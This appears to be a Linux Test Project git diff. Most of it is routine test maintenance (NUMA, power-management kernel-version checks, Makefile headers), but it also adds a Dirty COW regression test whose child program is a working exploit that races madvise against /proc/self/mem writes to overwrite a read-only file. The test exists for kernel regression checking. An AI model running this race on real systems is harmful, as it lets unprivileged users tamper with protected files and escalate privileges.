-		printf("node %d free: %s\n", i, fmt_mem(fr, buf));
-	}
-#endif
-}
-
-int main(void)
-{
-#if HAVE_NUMA_H
-	nodemask_t nodemask;
-	void hardware();
-	if (numa_available() < 0) {
-		printf("This system does not support NUMA policy\n");
-		numa_error("numa_available");
-		numa_exit_on_error = 1;
-		exit(numa_exit_on_error);
-	}
-	nodemask_zero(&nodemask);
-	nodemask_set(&nodemask, 1);
-	numa_bind(&nodemask);
-	hardware();
-	return numa_exit_on_error;
-#else
-	printf("NUMA is not available\n");
-	return 1;
-#endif
-}
diff --git a/testcases/kernel/numa/support_numa.c b/testcases/kernel/numa/support_numa.c
index 3991955..eaf63e3 100644
--- a/testcases/kernel/numa/support_numa.c
+++ b/testcases/kernel/numa/support_numa.c
@@ -1,34 +1,31 @@
 /******************************************************************************/
 /*                                                                            */
 /* Copyright (c) International Business Machines  Corp., 2007                 */
+/* Copyright (c) Linux Test Project, 2016                                     */
 /*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
+/* This program is free software: you can redistribute it and/or modify       */
 /* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
+/* the Free Software Foundation, either version 3 of the License, or          */
 /* (at your option) any later version.                                        */
 /*                                                                            */
 /* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
+/* but WITHOUT ANY WARRANTY; without even the implied warranty of             */
+/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the              */
+/* GNU General Public License for more details.                               */
 /*                                                                            */
 /* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
+/* along with this program. If not, see <http://www.gnu.org/licenses/>.       */
 /*                                                                            */
 /******************************************************************************/
 
 /******************************************************************************/
 /*                                                                            */
-/* File:        support_numa.c                                                     */
+/* File:        support_numa.c                                                */
 /*                                                                            */
 /* Description: Allocates 1MB of memory and touches it to verify numa         */
 /*                                                                            */
 /* Author:      Sivakumar Chinnaiah  Sivakumar.C@in.ibm.com                   */
 /*                                                                            */
-/* History:     Created - Jul 18 2007 - Sivakumar Chinnaiah                   */
-/*                                                 Sivakumar.C@in.ibm.com     */
-/*                                                                            */
 /******************************************************************************/
 
 #include <stdio.h>
@@ -38,81 +35,90 @@
 #include <signal.h>
 #include <limits.h>
 #include <string.h>
-#include "test.h"
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <fcntl.h>
 
 /* Global Variables */
 #define MB (1<<20)
 #define PAGE_SIZE getpagesize()
 #define barrier() __asm__ __volatile__("": : :"memory")
+#define TEST_SFILE "ltp_numa_testfile"
+#define STR "abcdefghijklmnopqrstuvwxyz12345\n"
 
-/* Extern Global Variables */
-extern int tst_count;		/* to avoid compilation errors. */
-extern char *TESTDIR;		/* to avoid compilation errors. */
-
-/* Global Variables */
-char *TCID = "support_numa";	/* to avoid compilation errors. */
-int TST_TOTAL = 1;		/* to avoid compilation errors. */
-
-void sigfunc(int sig)
+static void help(void)
 {
-	tst_resm(TINFO, "#Caught signal signum=%d", sig);
-}
+	printf("Input:	Describe input arguments to this program\n");
+	printf("	argv[1] == 1 then allocate 1MB of memory\n");
+	printf("	argv[1] == 2 then allocate 1MB of share memory\n");
+	printf("	argv[1] == 3 then pause the program to catch sigint\n");
+	printf("Exit:	On failure - Exits with non-zero value\n");
+	printf("	On success - exits with 0 exit value\n");
 
-/******************************************************************************/
-/*                                                                            */
-/* Function:    main                                                          */
-/*                                                                            */
-/* Description: Alloctes 1MB of memory and touches it to verify numa behaviour*/
-/*                                                                            */
-/* Input:       Describe input arguments to this program                      */
-/*               argv[1] ==1 then print pagesize                              */
-/*               argv[1] ==2 then allocate 1MB of memory                      */
-/*		 argv[1] ==3 then pause the program to catch sigint	      */
-/*                                                                            */
-/* Exit:       On failure - Exits with non-zero value.                        */
-/*             On success - exits with 0 exit value.                          */
-/*                                                                            */
-/******************************************************************************/
+	exit(1);
+}
 
 int main(int argc, char *argv[])
 {
-	int i;
+	int i, fd, rc;
 	char *buf = NULL;
-	int count = 0;
-	struct sigaction sa;
+	struct stat sb;
+
+	if (argc != 2) {
+		fprintf(stderr, "Here expect only one number(i.e. 2) as the parameter\n");
+		exit(1);
+	}
 
 	switch (atoi(argv[1])) {
 	case 1:
-		printf("%d", PAGE_SIZE);
-		tst_exit();
-	case 2:
 		buf = malloc(MB);
 		if (!buf) {
-			tst_resm(TINFO, "#Memory is not available\n");
-			tst_exit();
-			exit(2);
+			fprintf(stderr, "Memory is not available\n");
+			exit(1);
 		}
 		for (i = 0; i < MB; i += PAGE_SIZE) {
-			count++;
 			buf[i] = 'a';
 			barrier();
 		}
+
+		raise(SIGSTOP);
+
 		free(buf);
-		tst_exit();
-	case 3:
-		/* Trap SIGINT */
-		sa.sa_handler = sigfunc;
-		sa.sa_flags = SA_RESTART;
-		sigemptyset(&sa.sa_mask);
-		if (sigaction(SIGINT, &sa, 0) < 0) {
-			tst_brkm(TBROK, NULL, "#Sigaction SIGINT failed\n");
-			tst_exit();
+		break;
+	case 2:
+		fd = open(TEST_SFILE, O_RDWR | O_CREAT, 0666);
+		/* Writing 1MB of random data into this file [32 * 32768 = 1024 * 1024] */
+		for (i = 0; i < 32768; i++){
+			rc = write(fd, STR, strlen(STR));
+			if (rc == -1 || ((size_t)rc != strlen(STR)))
+				fprintf(stderr, "write failed\n");
+		}
+
+		if ((fstat(fd, &sb)) == -1)
+			fprintf(stderr, "fstat failed\n");
+
+		buf = mmap(NULL, sb.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+		if (buf == MAP_FAILED){
+			fprintf(stderr, "mmap failed\n");
+			close(fd);
 			exit(1);
 		}
-		/* wait for signat Int */
-		pause();
-		tst_exit();
+
+		memset(buf, 'a', sb.st_size);
+
+		raise(SIGSTOP);
+
+		munmap(buf, sb.st_size);
+		close(fd);
+		remove(TEST_SFILE);
+		break;
+	case 3:
+		raise(SIGSTOP);
+		break;
 	default:
-		exit(1);
+		help();
 	}
+
+	return 0;
 }
diff --git a/testcases/kernel/power_management/pm_include.sh b/testcases/kernel/power_management/pm_include.sh
index d06286b..35ff0f1 100755
--- a/testcases/kernel/power_management/pm_include.sh
+++ b/testcases/kernel/power_management/pm_include.sh
@@ -17,8 +17,7 @@
 
 check_kervel_arch() {
 	# Checking required kernel version and architecture
-	tst_kvercmp 2 6 21; rc=$?
-	if [ $rc -ne 1 -a $rc -ne 2 ] ; then
+	if tst_kvcmp -lt "2.6.21"; then
 		tst_brkm TCONF "Kernel version not supported; not " \
 			"running testcases"
 	else
diff --git a/testcases/kernel/power_management/runpwtests05.sh b/testcases/kernel/power_management/runpwtests05.sh
index 74c9f7c..910a75b 100755
--- a/testcases/kernel/power_management/runpwtests05.sh
+++ b/testcases/kernel/power_management/runpwtests05.sh
@@ -27,8 +27,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_kvercmp 2 6 29; rc=$?
-if [ $rc -eq 2 ] ; then
+if tst_kvcmp -gt "2.6.29"; then
 	max_sched_mc=2
 	max_sched_smt=2
 else
diff --git a/testcases/kernel/power_management/runpwtests06.sh b/testcases/kernel/power_management/runpwtests06.sh
index 7888a39..1ec193a 100755
--- a/testcases/kernel/power_management/runpwtests06.sh
+++ b/testcases/kernel/power_management/runpwtests06.sh
@@ -47,8 +47,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_kvercmp 2 6 31; rc=$?
-if [ $rc -eq 1 -o $rc -eq 2 ] ; then
+if tst_kvcmp -ge "2.6.31"; then
 	timer_migr_support_compatible=0
 else
 	timer_migr_support_compatible=1
diff --git a/testcases/kernel/power_management/runpwtests_exclusive01.sh b/testcases/kernel/power_management/runpwtests_exclusive01.sh
index a805273..cb27d41 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive01.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive01.sh
@@ -27,8 +27,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_kvercmp 2 6 29; rc=$?
-if [ $rc -eq 2 ] ; then
+if tst_kvcmp -gt "2.6.29"; then
 	max_sched_mc=2
 	max_sched_smt=2
 else
diff --git a/testcases/kernel/power_management/runpwtests_exclusive02.sh b/testcases/kernel/power_management/runpwtests_exclusive02.sh
index a0e00df..dedf897 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive02.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive02.sh
@@ -27,8 +27,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_kvercmp 2 6 29; rc=$?
-if [ $rc -eq 2 ] ; then
+if tst_kvcmp -gt "2.6.29"; then
 	max_sched_smt=2
 else
 	max_sched_smt=1
diff --git a/testcases/kernel/power_management/runpwtests_exclusive03.sh b/testcases/kernel/power_management/runpwtests_exclusive03.sh
index 8083adb..8e39396 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive03.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive03.sh
@@ -27,8 +27,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_kvercmp 2 6 29; rc=$?
-if [ $rc -eq 2 ] ; then
+if tst_kvcmp -gt "2.6.29"; then
 	max_sched_mc=2
 	max_sched_smt=2
 else
diff --git a/testcases/kernel/power_management/runpwtests_exclusive05.sh b/testcases/kernel/power_management/runpwtests_exclusive05.sh
index dc8112e..cca10f5 100755
--- a/testcases/kernel/power_management/runpwtests_exclusive05.sh
+++ b/testcases/kernel/power_management/runpwtests_exclusive05.sh
@@ -27,8 +27,7 @@
 # Checking test environment
 check_kervel_arch
 
-tst_kvercmp 2 6 29; rc=$?
-if [ $rc -eq 2 ] ; then
+if tst_kvcmp -gt "2.6.29"; then
 	max_sched_mc=2
 	max_sched_smt=2
 else
diff --git a/testcases/kernel/pty/Makefile b/testcases/kernel/pty/Makefile
index 2040a81..f9fc4f5 100644
--- a/testcases/kernel/pty/Makefile
+++ b/testcases/kernel/pty/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/pty/hangup01.c b/testcases/kernel/pty/hangup01.c
index 6a9014d..5527bce 100644
--- a/testcases/kernel/pty/hangup01.c
+++ b/testcases/kernel/pty/hangup01.c
@@ -29,7 +29,7 @@
 #include <unistd.h>
 #include <errno.h>
 #include <signal.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/wait.h>
 #include <sys/poll.h>
 
diff --git a/testcases/kernel/pty/ptem01.c b/testcases/kernel/pty/ptem01.c
index 8522fe4..8cfc02a 100644
--- a/testcases/kernel/pty/ptem01.c
+++ b/testcases/kernel/pty/ptem01.c
@@ -25,7 +25,7 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <termio.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <sys/poll.h>
 #include <sys/types.h>
diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
index 6245ed0..6a57d79 100644
--- a/testcases/kernel/sched/Makefile
+++ b/testcases/kernel/sched/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/sched/clisrv/Makefile b/testcases/kernel/sched/clisrv/Makefile
index 0c293d3..af43b7e 100644
--- a/testcases/kernel/sched/clisrv/Makefile
+++ b/testcases/kernel/sched/clisrv/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/sched/hyperthreading/Makefile b/testcases/kernel/sched/hyperthreading/Makefile
index 44d94f2..7fb1a45 100644
--- a/testcases/kernel/sched/hyperthreading/Makefile
+++ b/testcases/kernel/sched/hyperthreading/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/sched/hyperthreading/ht_affinity/Makefile b/testcases/kernel/sched/hyperthreading/ht_affinity/Makefile
index e6c1abf..10fec96 100644
--- a/testcases/kernel/sched/hyperthreading/ht_affinity/Makefile
+++ b/testcases/kernel/sched/hyperthreading/ht_affinity/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/sched/hyperthreading/ht_enabled/Makefile b/testcases/kernel/sched/hyperthreading/ht_enabled/Makefile
index 76be88f..9c1e139 100644
--- a/testcases/kernel/sched/hyperthreading/ht_enabled/Makefile
+++ b/testcases/kernel/sched/hyperthreading/ht_enabled/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile b/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile
index bc84e51..2ff6f04 100644
--- a/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile
+++ b/testcases/kernel/sched/hyperthreading/ht_interrupt/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/sched/process_stress/Makefile b/testcases/kernel/sched/process_stress/Makefile
index 8719939..011017c 100644
--- a/testcases/kernel/sched/process_stress/Makefile
+++ b/testcases/kernel/sched/process_stress/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/sched/pthreads/Makefile b/testcases/kernel/sched/pthreads/Makefile
index c9932c7..4527e0d 100644
--- a/testcases/kernel/sched/pthreads/Makefile
+++ b/testcases/kernel/sched/pthreads/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/sched/sched_stress/Makefile b/testcases/kernel/sched/sched_stress/Makefile
index 140b630..60bdc69 100644
--- a/testcases/kernel/sched/sched_stress/Makefile
+++ b/testcases/kernel/sched/sched_stress/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/sched/sched_stress/sched.h b/testcases/kernel/sched/sched_stress/sched.h
index c2830c5..8ed941e 100644
--- a/testcases/kernel/sched/sched_stress/sched.h
+++ b/testcases/kernel/sched/sched_stress/sched.h
@@ -38,7 +38,7 @@
 
 #include <sys/types.h>
 #include <unistd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <string.h>
 #include <stdlib.h>
 #include <signal.h>
diff --git a/testcases/kernel/sched/sched_stress/sched_driver.c b/testcases/kernel/sched/sched_stress/sched_driver.c
index 3de7d5f..61573d7 100644
--- a/testcases/kernel/sched/sched_stress/sched_driver.c
+++ b/testcases/kernel/sched/sched_stress/sched_driver.c
@@ -63,7 +63,7 @@
 
 #include <sys/types.h>
 #include <unistd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <string.h>
 #include <stdlib.h>
 #include <signal.h>
diff --git a/testcases/kernel/sched/tool/Makefile b/testcases/kernel/sched/tool/Makefile
index 76936ba..0e07a6c 100644
--- a/testcases/kernel/sched/tool/Makefile
+++ b/testcases/kernel/sched/tool/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/sched/tool/trace_sched.c b/testcases/kernel/sched/tool/trace_sched.c
index 7815686..71caf23 100644
--- a/testcases/kernel/sched/tool/trace_sched.c
+++ b/testcases/kernel/sched/tool/trace_sched.c
@@ -421,8 +421,8 @@
 		} else {
 			if (status == (thread_sched_t *) - 1) {
 				fprintf(stderr,
-					"thread [%d] - process exited with errors %d\n",
-					thrd_ndx, WEXITSTATUS(status));
+					"thread [%d] - process exited with exit code -1\n",
+					thrd_ndx);
 				exit(-1);
 			} else {
 				exp_prio[thrd_ndx] = status->exp_prio;
diff --git a/testcases/kernel/security/Makefile b/testcases/kernel/security/Makefile
index 0bb816f..0b4b98b 100644
--- a/testcases/kernel/security/Makefile
+++ b/testcases/kernel/security/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/kernel/security/cap_bound/run_capbounds.sh b/testcases/kernel/security/cap_bound/run_capbounds.sh
index 1d5b6f9..6164f62 100755
--- a/testcases/kernel/security/cap_bound/run_capbounds.sh
+++ b/testcases/kernel/security/cap_bound/run_capbounds.sh
@@ -19,10 +19,10 @@
 ##                                                                            ##
 ################################################################################
 
-if tst_kvercmp 2 6 25 ; then
+if tst_kvcmp -lt "2.6.25"; then
 	tst_resm TCONF "System kernel version is less than 2.6.25"
 	tst_resm TCONF "Cannot execute test"
-	exit 0
+	exit 32
 fi
 
 echo "testing bounding set reading"
diff --git a/testcases/kernel/security/dirtyc0w/.gitignore b/testcases/kernel/security/dirtyc0w/.gitignore
new file mode 100644
index 0000000..7700d91
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w/.gitignore
@@ -0,0 +1,2 @@
+dirtyc0w
+dirtyc0w_child
diff --git a/testcases/network/stress/broken_ip/broken_ip4_lib.sh b/testcases/kernel/security/dirtyc0w/Makefile
similarity index 66%
rename from testcases/network/stress/broken_ip/broken_ip4_lib.sh
rename to testcases/kernel/security/dirtyc0w/Makefile
index 5b8e17f..aef8a9a 100644
--- a/testcases/network/stress/broken_ip/broken_ip4_lib.sh
+++ b/testcases/kernel/security/dirtyc0w/Makefile
@@ -1,7 +1,4 @@
-#!/bin/sh
-
-# Copyright (c) 2014 Oracle and/or its affiliates. All Rights Reserved.
-# Copyright (c) International Business Machines  Corp., 2006
+# Copyright (c) 2016 Linux Test Project
 #
 # This program is free software; you can redistribute it and/or
 # modify it under the terms of the GNU General Public License as
@@ -17,12 +14,8 @@
 # along with this program; if not, write the Free Software Foundation,
 # Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 
-. test_net.sh
+top_srcdir		?= ../../../..
 
-tst_resm TINFO "Test duration is $NS_DURATION [sec]"
-
-lhost_addr=$(tst_ipaddr)
-rhost_addr=$(tst_ipaddr rhost)
-
-tst_rhost_run -s -c \
-	"check_icmpv4_connectivity $(tst_iface rhost) $lhost_addr"
+include $(top_srcdir)/include/mk/testcases.mk
+dirtyc0w_child: CFLAGS+=-pthread
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/security/dirtyc0w/dirtyc0w.c b/testcases/kernel/security/dirtyc0w/dirtyc0w.c
new file mode 100644
index 0000000..fdf5d24
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w/dirtyc0w.c
@@ -0,0 +1,112 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * This is a regression test for write race that allows unprivileged programs
+ * to change readonly files on the system.
+ *
+ * It has been fixed long time ago:
+ *
+ *   commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
+ *   Author: Linus Torvalds <torvalds@g5.osdl.org>
+ *   Date:   Mon Aug 1 11:14:49 2005 -0700
+ *
+ *   Fix get_user_pages() race for write access
+ *
+ * Then it reappeared and was fixed again in:
+ *
+ *   commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
+ *   Author: Linus Torvalds <torvalds@linux-foundation.org>
+ *   Date:   Thu Oct 13 20:07:36 2016 GMT
+ *
+ *   mm: remove gup_flags FOLL_WRITE games from __get_user_pages()
+ */
+
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <string.h>
+#include <stdlib.h>
+#include <pwd.h>
+
+#include "tst_test.h"
+
+#define FNAME "test"
+#define STR   "this is not a test\n"
+
+static uid_t nobody_uid;
+static gid_t nobody_gid;
+
+static void setup(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+
+	nobody_uid = pw->pw_uid;
+	nobody_gid = pw->pw_gid;
+}
+
+void dirtyc0w_test(void)
+{
+	int i, fd, pid, fail = 0;
+	char c;
+
+	/* Create file */
+	fd = SAFE_OPEN(FNAME, O_WRONLY|O_CREAT|O_EXCL, 0444);
+	SAFE_WRITE(1, fd, STR, sizeof(STR)-1);
+	SAFE_CLOSE(fd);
+
+	pid = SAFE_FORK();
+
+	if (!pid) {
+		SAFE_SETGID(nobody_gid);
+		SAFE_SETUID(nobody_uid);
+		SAFE_EXECLP("dirtyc0w_child", "dirtyc0w_child", NULL);
+	}
+
+	for (i = 0; i < 100; i++)  {
+		usleep(10000);
+
+		SAFE_FILE_SCANF(FNAME, "%c", &c);
+
+		if (c != 't') {
+			fail = 1;
+			break;
+		}
+	}
+
+	SAFE_KILL(pid, SIGUSR1);
+	tst_reap_children();
+	SAFE_UNLINK(FNAME);
+
+	if (fail)
+		tst_res(TFAIL, "Bug reproduced!");
+	else
+		tst_res(TPASS, "Bug not reproduced");
+}
+
+static struct tst_test test = {
+	.tid = "dirtyc0w",
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.test_all = dirtyc0w_test,
+};
diff --git a/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c b/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c
new file mode 100644
index 0000000..5328a9b
--- /dev/null
+++ b/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *  Based on: https://github.com/dirtycow/dirtycow.github.io
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <string.h>
+#include <stdlib.h>
+#include <pwd.h>
+
+#include "tst_safe_pthread.h"
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+#define FNAME "test"
+#define STR   "this is not a test\n"
+
+static char *str = "m00000000000000000";
+static void *map;
+static int mfd;
+
+/*
+ * You have to race madvise(MADV_DONTNEED) ::
+ * https://access.redhat.com/security/vulnerabilities/2706661
+ *
+ * This is achieved by racing the madvise(MADV_DONTNEED) system call while
+ * having the page of the executable mmapped in memory.
+ */
+static void *madvise_thread(void *arg)
+{
+	int c = 0;
+
+	(void)arg;
+
+	while (1)
+		c += madvise(map, 100, MADV_DONTNEED);
+
+	tst_res(TINFO, "madvise: %i", c);
+
+	return NULL;
+}
+
+/*
+ * You have to write to /proc/self/mem ::
+ * https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
+ *
+ * The in the wild exploit we are aware of doesn't work on Red Hat Enterprise
+ * Linux 5 and 6 out of the box because on one side of the race it writes to
+ * /proc/self/mem, but /proc/self/mem is not writable on Red Hat Enterprise
+ * Linux 5 and 6.
+ */
+void *proc_self_mem_thread(void *arg)
+{
+	int c = 0;
+
+	(void)arg;
+
+	while (1) {
+		lseek(mfd, (uintptr_t) map, SEEK_SET);
+		c += write(mfd, str, strlen(str));
+	}
+
+	tst_res(TINFO, "write: %i", c);
+
+	return NULL;
+}
+
+void sighandler(int sig)
+{
+	(void) sig;
+
+	_exit(0);
+}
+
+/*
+ * You have to use MAP_PRIVATE for copy-on-write mapping.
+ * Create a private copy-on-write mapping. Updates to the
+ * mapping are not visible to other processes mapping the same
+ * file, and are not carried through to the underlying file. It
+ * is unspecified whether changes made to the file after the
+ * mmap() call are visible in the mapped region.
+ */
+int main(void)
+{
+	pthread_t pth1, pth2;
+	int fd;
+	struct stat st;
+
+	SAFE_SIGNAL(SIGUSR1, sighandler);
+
+	/* Open it read only and map */
+	fd = SAFE_OPEN(FNAME, O_RDONLY);
+	SAFE_FSTAT(fd, &st);
+
+	map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+	mfd = SAFE_OPEN("/proc/self/mem", O_RDWR);
+
+	/* Try to rewrite it */
+	SAFE_PTHREAD_CREATE(&pth1, NULL, madvise_thread, NULL);
+	SAFE_PTHREAD_CREATE(&pth2, NULL, proc_self_mem_thread, NULL);
+
+	pause();
+
+	return 0;
+}
diff --git a/testcases/kernel/security/integrity/ima/Makefile b/testcases/kernel/security/integrity/ima/Makefile
index b3ec226..1290e6f 100644
--- a/testcases/kernel/security/integrity/ima/Makefile
+++ b/testcases/kernel/security/integrity/ima/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/security/integrity/ima/policy/Makefile b/testcases/kernel/security/integrity/ima/policy/Makefile
index 1d34ec2..a960f9d 100644
--- a/testcases/kernel/security/integrity/ima/policy/Makefile
+++ b/testcases/kernel/security/integrity/ima/policy/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../../..
diff --git a/testcases/kernel/security/integrity/ima/src/Makefile b/testcases/kernel/security/integrity/ima/src/Makefile
index b07a9f8..0f4cf8c 100644
--- a/testcases/kernel/security/integrity/ima/src/Makefile
+++ b/testcases/kernel/security/integrity/ima/src/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../../..
diff --git a/testcases/kernel/security/integrity/ima/tests/Makefile b/testcases/kernel/security/integrity/ima/tests/Makefile
index 18038af..b2ccdb6 100644
--- a/testcases/kernel/security/integrity/ima/tests/Makefile
+++ b/testcases/kernel/security/integrity/ima/tests/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../../../..
diff --git a/testcases/kernel/security/mmc_security/Makefile b/testcases/kernel/security/mmc_security/Makefile
index 72d5fce..8afff15 100644
--- a/testcases/kernel/security/mmc_security/Makefile
+++ b/testcases/kernel/security/mmc_security/Makefile
@@ -17,7 +17,7 @@
